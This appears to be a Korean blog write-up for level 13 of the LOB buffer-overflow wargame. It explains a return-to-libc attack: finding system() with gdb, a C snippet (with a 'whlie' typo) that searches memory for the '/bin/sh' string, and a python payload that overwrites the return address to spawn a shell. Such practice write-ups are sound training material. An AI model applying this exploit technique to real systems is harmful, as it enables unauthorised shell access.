728x90

풀이쓰기 귀찮아서 전체과정을 복붙한걸 지우고 다시 풀이를쓴다.

///////////////////////////////////////////////////////////////////////

 

\xbf를 쓸 수 없는것을 보아하니 정상적인 주소론 풀수없다.

여기선  RTL이라는 기법?을 사용하는데, 그냥 시스템 함수를 이용하여 푼다고 생각하면 될듯.

요약해서 말하면, 시스템 주소와 '/bin/sh'의 주소를 구해서 풀 수 있고, 해당 문자열은 시스템안에 있으므로 이 점을 이용하여 문자열의 주소를 구하면 된다.

 

그럼, 시스템의 주소부터 구해보자.

그냥 gdb를 하면 권한오류로 안되기 때문에 같은 길이의 파일로 복사해서 gdb를 한다.

시스템의 주소를 구하려면, 메인에 break걸어주고, r로 한번 돌린 후 print system을 하면 된다.

 

시스템의 주소는 0x40058ae0

 

이제 시스템에서 /bin/sh라는 문자열의 주소를 가져오는 코드를 작성한다.

 

#include <stdio.h>
#include <string.h>

int main()
{
	long system = 0x40058ae0;
    whlie(memcmp((void*)system, "/bin/sh\x00", 8))
    	{
        	system++;
        }
    printf("/bin/sh: %x\n", system);
    
    return 0;
}

 

필요한건 다 구했다. 이제 페이로드를 작성해보면,

`python -c 'print "a"*44 + (system addr) + "(trash)"*4 + (/bin/sh addr)'` 이다.

여기서, trash 4바이트는 RTL chaining 기법에서 사용할 chain이라고 보면 되고, 지금은 사용하지 않으므로 아무 값이나 넣어준다.

 

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 15번  (0) 2020.08.02
LOB 14번  (0) 2020.08.01
LOB 12번  (0) 2020.08.01
LOB 11번  (0) 2020.07.26
LOB 10번  (0) 2020.07.26

+ Recent posts